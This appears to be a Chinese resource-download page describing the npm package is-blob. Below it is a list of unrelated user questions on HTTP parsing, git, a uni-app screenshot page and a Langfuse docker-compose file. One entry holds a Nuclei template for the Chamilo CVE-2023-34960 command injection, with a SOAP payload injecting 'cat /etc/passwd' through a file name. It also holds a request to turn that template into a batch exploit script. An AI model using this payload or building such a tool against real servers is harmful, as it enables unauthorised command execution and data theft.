file-type

is-blob: JavaScript中判断值是否为Blob对象的方法

ZIP文件

5星 · 超过95%的资源 | 下载需积分: 50 | 4KB | 更新于2025-01-05 | 123 浏览量 | 5 评论 | 2 下载量 举报 收藏
download 立即下载
JavaScript是一种广泛使用的高级编程语言,它被设计为具有脚本语言的动态特性。在Web开发中,JavaScript常常用于网页的前端交互功能。在使用JavaScript时,开发者会频繁地与各种数据类型打交道,其中包括Blob对象。Blob对象代表不可变的原始数据,类似于文件对象。它可以用来表示一个文件的二进制数据,如图片、视频或其他类型的文件。 Blob对象通常在浏览器环境中使用,这是因为浏览器提供了创建和操作Blob对象的API。例如,在浏览器中可以使用`Blob`构造函数来创建一个新的Blob对象。这个构造函数接受两个参数:第一个参数是一个包含数据的数组,可以是字符串、ArrayBuffer、或者是其他类型的Blob对象;第二个参数是一个选项对象,可以指定MIME类型等信息。创建后的Blob对象提供了多个属性和方法,允许开发者对数据进行读取和使用。 值得一提的是,Blob对象和Node.js中的Buffer对象有相似之处。Buffer对象在Node.js中用于处理二进制数据,但在浏览器端则不支持。因此,Blob对象和Buffer对象的使用环境不同,而且它们在API上也不完全相同。在Node.js中,没有直接与浏览器中Blob对象相对应的对象,因此不能使用检查Blob的方法。在Node.js中,开发者通常会使用像`fs`(文件系统)模块、`stream`模块等来处理文件和二进制数据。 在上述文件信息中提到的`is-blob`是一个npm包,用于检查一个值是否为Blob对象。开发者可以通过npm来安装这个模块。使用`npm install is-blob`命令可以将其添加到项目依赖中。然后通过`require('is-blob')`的方式引入模块,并使用它提供的`isBlob`函数来检测一个值是否为Blob类型。例如: ```javascript const isBlob = require('is-blob'); isBlob(new Blob(['<h1>Unicorns</h1>'], { type: 'text/html' })); //=> true ``` 上述示例中,`isBlob`函数被用来检查一个通过`Blob`构造函数创建的新Blob对象。由于这个对象是按照Blob的方式创建的,所以`isBlob`函数返回`true`,表示这个值是一个Blob对象。 在实际开发中,可能需要对数据进行类型判断来决定后续操作。比如,在处理文件上传功能时,需要判断用户提供的数据是否为有效的文件类型,Blob检查就可以用在这个场景。如果上传的不是Blob对象,则可以拒绝处理或者给出提示。`is-blob`模块为这样的需求提供了一个简单直接的解决方案。 总结来说,Blob对象是Web开发中的一个重要概念,特别是在前端文件处理方面。通过使用`is-blob`这样的npm模块,开发者可以更加方便地检查一个值是否为Blob对象,从而根据检测结果编写更加健壮的代码逻辑。需要注意的是,`is-blob`仅适用于浏览器端,因为在Node.js中没有对应的Blob对象。在Node.js环境下,开发者应使用其他方法来处理类似的需求。

相关推荐

filetype

HTTP/1.1 200 Server: nginx Date: Sun, 02 Jan 2000 07:51:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive Content-Security-Policy: default-src 'self' https://*.tplinkcloud.com/;script-src 'self' 'unsafe-eval' 'sha256-7W9UiBaYGlOHpT1aQBLegqffUVHbYq6/ZAb+ErjUb40=' 'sha256-VGQ8jNTL2g0e8wPwOgyCQJDqhuRgfV7gRYexcBkBe4Y=' 'sha256-x2jgB1zBLi30IsfY+VNgWjwBGeHPJxOSrzl+IdsT6k0=' 'sha256-0AHZXO4clnpdcxqdmASPBEp4JCIrtaxIX/mUuL1kzZw=' 'sha256-lfXlPY3+MCPOPb4mrw1Y961+745U3WlDQVcOXdchSQc=';style-src 'self' 'unsafe-inline';connect-src 'self' https://*.tplinkcloud.com/ https://*.tplinkcloud.com:8843/ wss://*.tplinkcloud.com/ https://*.tiles.mapbox.com https://api.mapbox.com https://events.mapbox.com ;frame-src 'self' data:;img-src 'self' https://*.tplinkcloud.com/ https://*.mzstatic.com/ https://play-lh.googleusercontent.com/ data: blob:;child-src blob: ;worker-src blob: ;media-src 'self' https://*.tplinkcloud.com/ data: blob:;object-src 'self' data: blob: Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Robots-Tag: noindex 124 {"errorCode":0,"msg":"Success.","result":{"controllerVer":"6.0.0.400","apiVer":"3","configured":false,"type":18,"supportApp":true,"omadacId":"bccc8875e205be4452b35a010558b3f7","registeredRoot":false,"omadacCategory":"advanced","mspMode":false,"omadaCloudUrl":"https://omada.tplinkcloud.com"}} 0 怎么把这种格式的响应的响应体解析出来

filetype

id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950请根据上面的poc,用python实现exp,并且读取当前目录下的文件 批量执行,例如参数 -f 777.txt ,-c “需要执行的命令” ,并且-o 7.txt,7.txt为文件名动态变量,让用户自主选择,例如 python CVE-2023-34960exp.py -f 777.txt -c "id" -o 89.txt,并显示详细成功和失败过程,并将利用成功的目标分别存放至用户选择输出的文件里。-o 输出的文件保存利用成功结果

filetype

chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git add . chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git stash save "暂存修改" Saved working directory and index state On (no branch): 暂存修改 HEAD is now at a969701 [All] cap | alarm: add alarm_plan module (1/2) chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git branch * (HEAD detached at FETCH_HEAD) develop_sz0519 master new-feature-branch nvmp_release_1.8 nvmp_release_1.9.1 chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git checkout nvmp_release_1.8 Checking out files: 100% (17315/17315), done. Previous HEAD position was a969701... [All] cap | alarm: add alarm_plan module (1/2) Switched to branch 'nvmp_release_1.8' Your branch is up-to-date with 'origin/nvmp_release_1.8'. chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git merge FETCH_HEAD fatal: Unable to read current working directory: No such file or directory chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git branch fatal: Unable to read current working directory: No such file or directory chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git branch fatal: Unable to read current working directory: No such file or directory chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git checkout nvmp_release_1.8 fatal: Unable to read current working directory: No such file or directory chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git checkout (HEAD detached at FETCH_HEAD) bash: syntax error near unexpected token `(' chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ git checkout HEAD detached at FETCH_HEAD fatal: Unable to read current working directory: No such file or directory chenxy@chenxy-virtual-machine:~/samba/NVMP/src/modules$ 经过以上操作,我修改的文件不见了

filetype

<template> <view class="webview-container"> <cover-view class="webview-wrapper"> <web-view :src="webviewPath" id="targetWebview"></web-view> </cover-view> <cover-view class="bottom-action-area"> <cover-view class="capture-btn" @click="captureWebview"> <cover-view class="btn-text">立即取证</cover-view> </cover-view> </cover-view> <cover-view v-if="showPreview" class="custom-preview"> <cover-view class="preview-header"> <cover-view class="title-container"> <cover-view class="preview-title">预览界面</cover-view> </cover-view> </cover-view> <cover-image :src="screenshotPath" class="preview-image" mode="aspectFit" @error="handleImageError" ></cover-image > <cover-view class="action-buttons"> <cover-view class="action-btn cancel-btn" @click="handleAction('放弃')">放弃</cover-view> <cover-view class="action-btn confirm-btn" @click="handleAction('固化')">固化</cover-view> </cover-view> <cover-view> </cover-view> </cover-view> </view> </template> <script setup lang="ts"> import { onLoad, onReady } from '@dcloudio/uni-app'; import html2canvas from 'html2canvas'; import { ref } from 'vue'; declare const plus: any; const webviewPath = ref(''); const ws = ref<any>(null); const screenshotPath = ref(''); const showPreview = ref(false); const platform = ref(''); const originalWebviewHeight = ref('auto'); const screenshotFilePath = ref(''); // 保存截图文件路径 const webviewContentHeight = ref(0); const isCapturing = ref(false); // 防止重复点击 onLoad((options: any) => { if (options.url) { webviewPath.value = decodeURIComponent(options.url); } // 获取当前平台 const systemInfo = uni.getSystemInfoSync(); platform.value = systemInfo.platform; }); onReady(() => { const pages = getCurrentPages(); const currentPage = pages[pages.length - 1]; const currentWebview = currentPage.$getAppWebview(); setTimeout(() => { if (currentWebview.children().length > 0) { const wv = currentWebview.children()[0]; ws.value = wv; // originalWebviewHeight.value = wv.getStyle().height || 'auto'; ws.value = currentWebview.children()[0]; ws.value.setStyle({ height: 'auto' }); setTimeout(() => { ws.value.evalJS('document.body.scrollHeight', (height: string) => { webviewContentHeight.value = parseInt(height) || 0; console.log('网页内容高度:', webviewContentHeight.value); }); }, 2000); } }, 1000); }); const captureWebview = async () => { uni.showLoading({ title: '正在取证中...', mask: true }); if (!ws.value || isCapturing.value) return; isCapturing.value = true; uni.showLoading({ title: '正在生成长截图...', mask: true }); // 获取WebView可见区域高度 const webviewStyle = ws.value.getStyle(); const screenHeight = parseInt(webviewStyle.height) || 0; const screenWidth = parseInt(webviewStyle.width) || 375; // 检查尺寸有效性 if (screenHeight === 0 || webviewContentHeight.value === 0) { uni.showToast({ title: '无法获取网页尺寸', icon: 'none' }); isCapturing.value = false; uni.hideLoading(); return; } // 创建长截图Bitmap const longBitmap = new plus.nativeObj.Bitmap('longScreenshot'); longBitmap.load('', { width: screenWidth, height: webviewContentHeight.value }, () => { // 分块截图处理 captureChunks(longBitmap, screenHeight, screenWidth, 0, () => { // 所有分块截图完成 const saveUrl = `_doc/${Date.now()}_long.jpg`; longBitmap.save(saveUrl, { format: 'jpg', quality: 90 }, (res: any) => { const previewPath = plus.io.convertLocalFileSystemURL(res.target); screenshotPath.value = previewPath; screenshotFilePath.value = res.target; longBitmap.clear(); uni.hideLoading(); showPreview.value = true; isCapturing.value = false; }, (err: any) => { console.error('保存长截图失败:', err); longBitmap.clear(); uni.hideLoading(); isCapturing.value = false; uni.showToast({ title: '保存失败', icon: 'none' }); }); }); }, (err: any) => { console.error('创建长截图失败:', err); uni.hideLoading(); isCapturing.value = false; uni.showToast({ title: '初始化失败', icon: 'none' }); }); }; const captureChunks = (longBitmap: any, chunkHeight: number, screenWidth: number, currentY: number, callback: Function) => { // 确保ws已初始化(关键检查) if (!ws.value) { console.error('ws未初始化,终止截图'); callback(); return; } if (currentY >= webviewContentHeight.value) { callback(); return; } // 滚动到当前截取位置 ws.value.evalJS(`window.scrollTo(0, ${currentY})`); setTimeout(() => { // 确保ws仍有效 if (!ws.value) { callback(); return; } // 创建临时Bitmap用于当前区块截图 const tempBitmap = new plus.nativeObj.Bitmap('temp'); // 绘制当前屏幕区域 ws.value.draw(tempBitmap, () => { // 将当前区块绘制到长截图中 longBitmap.draw( tempBitmap, {}, { top: currentY, left: 0, width: screenWidth, height: chunkHeight }, () => { tempBitmap.clear(); // 递归处理下一区块 captureChunks(longBitmap, chunkHeight, screenWidth, currentY + chunkHeight, callback); }, (err: any) => { tempBitmap.clear(); console.error('区块绘制失败:', err); uni.hideLoading(); isCapturing.value = false; } ); }, (err: any) => { tempBitmap.clear(); console.error('区块截图失败:', err); uni.hideLoading(); isCapturing.value = false; }); }, 500); // 等待滚动完成 }; // #ifdef APP-PLUS const bitmap = new plus.nativeObj.Bitmap('screenshot') // const fileName = `${Date.now()}.jpg` // const savePath = `_doc/${fileName}` const rand = Math.floor(Math.random() * 10000) const saveUrl = '_doc/' + rand + 'order.jpg' // 绘制页面截图 ws.value.draw(bitmap, () => { // 保存图片 bitmap.save( saveUrl, { format: 'jpg', quality: 90 }, (res:any) => { // 将本地路径转换为可以展示的路径 const previewPath = plus.io.convertLocalFileSystemURL(res.target) screenshotPath.value = previewPath screenshotFilePath.value = res.target; // 保存文件路径 console.log('截图保存成功,预览路径:', previewPath) // 延迟展示,确保加载完成 setTimeout(() => { showPreview.value = true uni.hideLoading(); }, 300) bitmap.clear() }, (err:any) => { console.error('保存失败:', err) uni.hideLoading(); uni.showToast({ title: '保存失败: ' + err.message, icon: 'none', }) bitmap.clear() } ) }, (err:any) => { console.error('截图失败:', err) uni.hideLoading(); uni.showToast({ title: '截图失败: ' + err.message, icon: 'none', }) }) // #endif // #ifdef APP-H5 html2canvas(document.querySelector('.webview-wrapper')).then((canvas) => { const dataUrl = canvas.toDataURL('image/jpeg') screenshotPath.value = dataUrl showPreview.value = true uni.hideLoading(); }).catch(err => { console.error('H5截图失败:', err) uni.hideLoading(); // H5失败时关闭加载提示 uni.showToast({ title: '截图失败', icon: 'none' }) }) // #endif const closePreview = () => { showPreview.value = false; } const uploadEvidence = () => { plus.io.resolveLocalFileSystemURL(screenshotFilePath.value, (entry:any) => { console.log('文件存在,开始上传:', entry.name); // 继续执行上传逻辑 uni.showLoading({ title: '上传证据中...', mask: true }); // ... 原有上传代码 ... }, (err:any) => { console.error('文件不存在或路径错误:', err); uni.showToast({ title: '文件路径无效', icon: 'none' }); } ); uni.showLoading({ title: '上传证据中...', mask: true }); // #ifdef APP-PLUS // APP环境上传 uni.uploadFile({ url: 'http://192.168.1.80:1592/api/upload', filePath: screenshotFilePath.value, name: 'file', type: 'image', formData: { 'timestamp': Date.now() }, success: (uploadRes) => { uni.hideLoading(); try { const data = JSON.parse(uploadRes.data); if (data.success) { uni.showToast({ title: '证据上传成功', icon: 'none' }) } else { uni.showToast({ title: '上传失败', icon: 'none' }) } } catch (e) { uni.showToast({ title: '解析响应失败', icon: 'none' }) } // 3秒后关闭状态提示 setTimeout(() => { closePreview(); }, 3000); }, fail: (err) => { uni.hideLoading(); console.error('上传错误详情:', err); uni.showToast({ title: '网络错误'+ err.errMsg, icon: 'none' }) setTimeout(() => { }, 3000); } }); // #endif // #ifdef APP-H5 // H5环境上传 // if (!screenshotFilePath.value) { // uni.hideLoading(); // uni.showToast({ title: '文件路径无效', icon: 'none' }); // return; // } // 获取文件对象 // fetch(screenshotFilePath.value) // .then(res => res.blob()) // .then(blob => { // const formData = new FormData(); // formData.append('evidence', blob, `evidence-${Date.now()}.jpg`); // formData.append('timestamp', Date.now().toString()); // return fetch('http://192.168.1.80:1592/api/upload', { // method: 'POST', // body: formData // }); // }) // .then(response => response.json()) // .then(data => { // uni.hideLoading(); // if (data.success) { // uni.showToast({ title: '证据上传成功', icon: 'none' }); // } else { // uni.showToast({ title: '上传失败'+ data.message, icon: 'none' }); // } // setTimeout(() => { // closePreview(); // }, 3000); // }) // .catch(err => { // uni.hideLoading(); // uni.showToast({ title: '上传失败'+ err.message, icon: 'none' }) // setTimeout(() => { // }, 3000); // }); // #endif } const handleAction = (action: string) => { switch(action) { case '放弃': closePreview(); break; case '固化': uni.saveImageToPhotosAlbum({ filePath: screenshotPath.value, success: () => { uni.showToast({ title: '证据已固化保存' }); // 调用上传函数 uploadEvidence(); }, fail: (err) => { uni.showToast({ title: '保存失败: ' + err.errMsg, icon: 'none' }); } }); break; } } const handleImageError = (e: any) => { console.error('图片加载错误:', e); uni.showToast({ title: '图片加载错误', icon: 'none' }); } </script> <style> .webview-container { position: relative; width: 100%; height: 100vh; overflow: hidden; } .webview-wrapper { height: calc(100vh - 120rpx); width: 100%; overflow: hidden; } .bottom-action-area { position: fixed; bottom: 0; left: 0; right: 0; z-index: 100; background-color: #007aff; padding: 30rpx; padding-bottom: constant(safe-area-inset-bottom); padding-bottom: env(safe-area-inset-bottom); display: flex; justify-content: center; align-items: center; } .capture-btn { width: 100%; height: 90rpx; background-color: #007aff; border-radius: 45rpx; box-shadow: 0 4rpx 10rpx rgba(0, 0, 0, 0.2); display: flex; align-items: center; justify-content: center; } .btn-text { color: #ffffff; font-size: 32rpx; font-weight: 500; } /* 优化预览组件 */ .custom-preview { position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 9999; background-color: rgba(0, 0, 0, 0.9); display: flex; flex-direction: column; /* 垂直排列子元素 */ align-items: center; /* 关键修改:去掉顶部内边距,只保留底部内边距 */ padding: 0; box-sizing: border-box; } .preview-header { width: 100%; height: 250rpx; /* 增加高度 */ background-color: #007aff; color: #ffffff; font-size: 34rpx; /* 增大字体 */ font-weight: bold; display: flex; align-items: center; justify-content: center; /* 添加圆角效果 */ border-top-left-radius: 16rpx; border-top-right-radius: 16rpx; } .preview-title { color: #ffffff; /* 白色字体 */ font-size: 28rpx; /* 字体大小适配40rpx高度 */ font-weight: bold; line-height: 40rpx; /* 与容器高度一致,实现垂直居中 */ width: 100%; text-align: center; } .preview-image { width: 100%; height: 100%; object-fit: contain; border: 1rpx solid rgba(255, 255, 255, 0.1); border-radius: 8rpx; background-color: #f5f5f5; box-shadow: 0 4rpx 20rpx rgba(0, 0, 0, 0.3); } .action-buttons { display: flex; width: 100%; /* 充满整个宽度 */ justify-content: space-between; padding: 30rpx 5%; /* 左右留5%间隙,上下30rpx内边距扩展背景区域 */ margin-top: auto; /* 借助flex布局推到最底部 */ background-color: #353336; /* 底部模块背景色 */ box-sizing: border-box; /* 确保padding不影响宽度计算 */ } .action-btn { flex: 1; height: 90rpx; border-radius: 12rpx; display: flex; align-items: center; justify-content: center; padding: 0; margin: 0 15rpx; border: none; color: #ffffff; /* 文字色适配深色背景 */ font-size: 34rpx; font-weight: 500; line-height: 1; } .cancel-btn { color: #ffffff; /* 文字颜色 */ font-size: 34rpx; font-weight: 500; /* 确保文字本身无偏移 */ line-height: 1; /* 清除行高影响 */ text-align: center; /* 辅助居中(冗余保障) */ background-color: #353336; } .confirm-btn { color: #ffffff; /* 文字颜色 */ font-size: 34rpx; font-weight: 500; /* 确保文字本身无偏移 */ line-height: 1; /* 清除行高影响 */ text-align: center; /* 辅助居中(冗余保障) */ background-color: #353336; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .bottom-action-img{ position: fixed; top: 100; left: 0; right: 0; z-index: 100; background-color: #007aff; padding: 30rpx; display: flex; justify-content: center; align-items: center; } .action-img{ width: 100%; height: 90rpx; background-color: #007aff; display: flex; } </style> TypeError: null is not an object (evaluating 'ws.value.draw') __ERROR 为什么会报这个错误

filetype
filetype

# Make sure to update the credential placeholders with your own secrets. # We mark them with # CHANGEME in the file below. # In addition, we recommend to restrict inbound traffic on the host to langfuse-web (port 3000) and minio (port 9090) only. # All other components are bound to localhost (127.0.0.1) to only accept connections from the local machine. # External connections from other machines will not be able to reach these services directly. services: langfuse-worker: image: docker.io/langfuse/langfuse-worker:3 restart: always depends_on: &langfuse-depends-on postgres: condition: service_healthy minio: condition: service_healthy redis: condition: service_healthy clickhouse: condition: service_healthy ports: - 127.0.0.1:3030:3030 environment: &langfuse-worker-env DATABASE_URL: postgresql://postgres:postgres@postgres:5432/postgres # CHANGEME SALT: "mysalt" # CHANGEME ENCRYPTION_KEY: "0000000000000000000000000000000000000000000000000000000000000000" # CHANGEME: generate via `openssl rand -hex 32` TELEMETRY_ENABLED: ${TELEMETRY_ENABLED:-true} LANGFUSE_ENABLE_EXPERIMENTAL_FEATURES: ${LANGFUSE_ENABLE_EXPERIMENTAL_FEATURES:-true} CLICKHOUSE_MIGRATION_URL: ${CLICKHOUSE_MIGRATION_URL:-clickhouse://clickhouse:9000} CLICKHOUSE_URL: ${CLICKHOUSE_URL:-http://clickhouse:8123} CLICKHOUSE_USER: ${CLICKHOUSE_USER:-clickhouse} CLICKHOUSE_PASSWORD: ${CLICKHOUSE_PASSWORD:-clickhouse} # CHANGEME CLICKHOUSE_CLUSTER_ENABLED: ${CLICKHOUSE_CLUSTER_ENABLED:-false} LANGFUSE_USE_AZURE_BLOB: ${LANGFUSE_USE_AZURE_BLOB:-false} LANGFUSE_S3_EVENT_UPLOAD_BUCKET: ${LANGFUSE_S3_EVENT_UPLOAD_BUCKET:-langfuse} LANGFUSE_S3_EVENT_UPLOAD_REGION: ${LANGFUSE_S3_EVENT_UPLOAD_REGION:-auto} LANGFUSE_S3_EVENT_UPLOAD_ACCESS_KEY_ID: ${LANGFUSE_S3_EVENT_UPLOAD_ACCESS_KEY_ID:-minio} LANGFUSE_S3_EVENT_UPLOAD_SECRET_ACCESS_KEY: ${LANGFUSE_S3_EVENT_UPLOAD_SECRET_ACCESS_KEY:-miniosecret} # CHANGEME LANGFUSE_S3_EVENT_UPLOAD_ENDPOINT: ${LANGFUSE_S3_EVENT_UPLOAD_ENDPOINT:-http://minio:9000} LANGFUSE_S3_EVENT_UPLOAD_FORCE_PATH_STYLE: ${LANGFUSE_S3_EVENT_UPLOAD_FORCE_PATH_STYLE:-true} LANGFUSE_S3_EVENT_UPLOAD_PREFIX: ${LANGFUSE_S3_EVENT_UPLOAD_PREFIX:-events/} LANGFUSE_S3_MEDIA_UPLOAD_BUCKET: ${LANGFUSE_S3_MEDIA_UPLOAD_BUCKET:-langfuse} LANGFUSE_S3_MEDIA_UPLOAD_REGION: ${LANGFUSE_S3_MEDIA_UPLOAD_REGION:-auto} LANGFUSE_S3_MEDIA_UPLOAD_ACCESS_KEY_ID: ${LANGFUSE_S3_MEDIA_UPLOAD_ACCESS_KEY_ID:-minio} LANGFUSE_S3_MEDIA_UPLOAD_SECRET_ACCESS_KEY: ${LANGFUSE_S3_MEDIA_UPLOAD_SECRET_ACCESS_KEY:-miniosecret} # CHANGEME LANGFUSE_S3_MEDIA_UPLOAD_ENDPOINT: ${LANGFUSE_S3_MEDIA_UPLOAD_ENDPOINT:-http://localhost:9090} LANGFUSE_S3_MEDIA_UPLOAD_FORCE_PATH_STYLE: ${LANGFUSE_S3_MEDIA_UPLOAD_FORCE_PATH_STYLE:-true} LANGFUSE_S3_MEDIA_UPLOAD_PREFIX: ${LANGFUSE_S3_MEDIA_UPLOAD_PREFIX:-media/} LANGFUSE_S3_BATCH_EXPORT_ENABLED: ${LANGFUSE_S3_BATCH_EXPORT_ENABLED:-false} LANGFUSE_S3_BATCH_EXPORT_BUCKET: ${LANGFUSE_S3_BATCH_EXPORT_BUCKET:-langfuse} LANGFUSE_S3_BATCH_EXPORT_PREFIX: ${LANGFUSE_S3_BATCH_EXPORT_PREFIX:-exports/} LANGFUSE_S3_BATCH_EXPORT_REGION: ${LANGFUSE_S3_BATCH_EXPORT_REGION:-auto} LANGFUSE_S3_BATCH_EXPORT_ENDPOINT: ${LANGFUSE_S3_BATCH_EXPORT_ENDPOINT:-http://minio:9000} LANGFUSE_S3_BATCH_EXPORT_EXTERNAL_ENDPOINT: ${LANGFUSE_S3_BATCH_EXPORT_EXTERNAL_ENDPOINT:-http://localhost:9090} LANGFUSE_S3_BATCH_EXPORT_ACCESS_KEY_ID: ${LANGFUSE_S3_BATCH_EXPORT_ACCESS_KEY_ID:-minio} LANGFUSE_S3_BATCH_EXPORT_SECRET_ACCESS_KEY: ${LANGFUSE_S3_BATCH_EXPORT_SECRET_ACCESS_KEY:-miniosecret} # CHANGEME LANGFUSE_S3_BATCH_EXPORT_FORCE_PATH_STYLE: ${LANGFUSE_S3_BATCH_EXPORT_FORCE_PATH_STYLE:-true} LANGFUSE_INGESTION_QUEUE_DELAY_MS: ${LANGFUSE_INGESTION_QUEUE_DELAY_MS:-} LANGFUSE_INGESTION_CLICKHOUSE_WRITE_INTERVAL_MS: ${LANGFUSE_INGESTION_CLICKHOUSE_WRITE_INTERVAL_MS:-} REDIS_HOST: ${REDIS_HOST:-redis} REDIS_PORT: ${REDIS_PORT:-6379} REDIS_AUTH: ${REDIS_AUTH:-myredissecret} # CHANGEME REDIS_TLS_ENABLED: ${REDIS_TLS_ENABLED:-false} REDIS_TLS_CA: ${REDIS_TLS_CA:-/certs/ca.crt} REDIS_TLS_CERT: ${REDIS_TLS_CERT:-/certs/redis.crt} REDIS_TLS_KEY: ${REDIS_TLS_KEY:-/certs/redis.key} EMAIL_FROM_ADDRESS: ${EMAIL_FROM_ADDRESS:-} SMTP_CONNECTION_URL: ${SMTP_CONNECTION_URL:-} langfuse-web: image: docker.io/langfuse/langfuse:3 restart: always depends_on: *langfuse-depends-on ports: - 3000:3000 environment: <<: *langfuse-worker-env NEXTAUTH_URL: http://localhost:3000 NEXTAUTH_SECRET: mysecret # CHANGEME LANGFUSE_INIT_ORG_ID: ${LANGFUSE_INIT_ORG_ID:-} LANGFUSE_INIT_ORG_NAME: ${LANGFUSE_INIT_ORG_NAME:-} LANGFUSE_INIT_PROJECT_ID: ${LANGFUSE_INIT_PROJECT_ID:-} LANGFUSE_INIT_PROJECT_NAME: ${LANGFUSE_INIT_PROJECT_NAME:-} LANGFUSE_INIT_PROJECT_PUBLIC_KEY: ${LANGFUSE_INIT_PROJECT_PUBLIC_KEY:-} LANGFUSE_INIT_PROJECT_SECRET_KEY: ${LANGFUSE_INIT_PROJECT_SECRET_KEY:-} LANGFUSE_INIT_USER_EMAIL: ${LANGFUSE_INIT_USER_EMAIL:-} LANGFUSE_INIT_USER_NAME: ${LANGFUSE_INIT_USER_NAME:-} LANGFUSE_INIT_USER_PASSWORD: ${LANGFUSE_INIT_USER_PASSWORD:-} clickhouse: image: docker.io/clickhouse/clickhouse-server restart: always user: "101:101" environment: CLICKHOUSE_DB: default CLICKHOUSE_USER: clickhouse CLICKHOUSE_PASSWORD: clickhouse # CHANGEME volumes: - langfuse_clickhouse_data:/var/lib/clickhouse - langfuse_clickhouse_logs:/var/log/clickhouse-server ports: - 127.0.0.1:8123:8123 - 127.0.0.1:9000:9000 healthcheck: test: wget --no-verbose --tries=1 --spider http://localhost:8123/ping || exit 1 interval: 5s timeout: 5s retries: 10 start_period: 1s minio: image: docker.io/minio/minio restart: always entrypoint: sh # create the 'langfuse' bucket before starting the service command: -c 'mkdir -p /data/langfuse && minio server --address ":9000" --console-address ":9001" /data' environment: MINIO_ROOT_USER: minio MINIO_ROOT_PASSWORD: miniosecret # CHANGEME ports: - 9090:9000 - 127.0.0.1:9091:9001 volumes: - langfuse_minio_data:/data healthcheck: test: ["CMD", "mc", "ready", "local"] interval: 1s timeout: 5s retries: 5 start_period: 1s redis: image: docker.io/redis:7 restart: always # CHANGEME: row below to secure redis password command: > --requirepass ${REDIS_AUTH:-myredissecret} ports: - 127.0.0.1:6379:6379 healthcheck: test: ["CMD", "redis-cli", "ping"] interval: 3s timeout: 10s retries: 10 postgres: image: docker.io/postgres:${POSTGRES_VERSION:-latest} restart: always healthcheck: test: ["CMD-SHELL", "pg_isready -U postgres"] interval: 3s timeout: 3s 